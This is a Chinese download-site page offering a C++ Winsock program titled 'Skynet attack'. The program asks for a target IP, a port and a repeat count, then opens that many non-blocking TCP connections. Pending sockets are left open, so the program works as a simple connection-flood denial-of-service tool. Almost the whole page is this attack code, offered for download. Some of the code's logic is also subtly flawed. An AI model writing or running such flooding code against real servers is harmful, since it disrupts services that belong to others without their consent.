⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 天网攻击.cpp

📁 天网攻击c++语言实现
💻 CPP
字号:
#include "stdlib.h" 
#include "stdio.h" 
#include "string.h" 
#include "winsock2.h" 

int ConnectSrv(char * ip, int port); 

int main( ) 
{ 
  int rc; 
WSADATA WsaData; 

char szIPAddr[256]; 
int nPort; 
int nTimes; 
printf("Input the IP and port you want to connect, Like:\n" 
" 111.111.111.111 222\n"); 
scanf("%s %d", szIPAddr, &nPort); 

printf("How many times you want to connect to the server:"); 
scanf("%d", &nTimes); 

WSAStartup (0x0101, &WsaData); 

for( int i = 0; i < nTimes; i++) 
rc = ConnectSrv(szIPAddr, nPort); 

WSACleanup(); 
scanf("%d", &rc); 
  return 1; 

} 

int ConnectSrv(char * ip, int port) 
{ 
SOCKET sc; 
  SOCKADDR_IN server_addr; 
int len; 
  if ((sc = socket(AF_INET, SOCK_STREAM, 0)) < 0) 
  { 
    return -1; 
  } 
  long lret = 1L; /* 非阻塞模式 */ 
  ioctlsocket(sc, FIONBIO, (u_long FAR *) &lret); 
  memset((char*) &server_addr, 0, sizeof(server_addr)); 
  server_addr.sin_family = AF_INET; 

server_addr.sin_port = htons(port); 
server_addr.sin_addr.s_addr = inet_addr(ip); 

  len = sizeof(SOCKADDR_IN); 
  if (int rc = connect(sc, (PSOCKADDR) &server_addr, len) == SOCKET_ERROR) 
  { 
if ((rc != 0) && (WSAGetLastError() == WSAEWOULDBLOCK)) 
printf("Connecting!"); 
else 
printf("Connect Failed!"); 
return -1; 
  } 
printf("Connect OK!"); 

closesocket(sc); 
return 0; 
} 

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -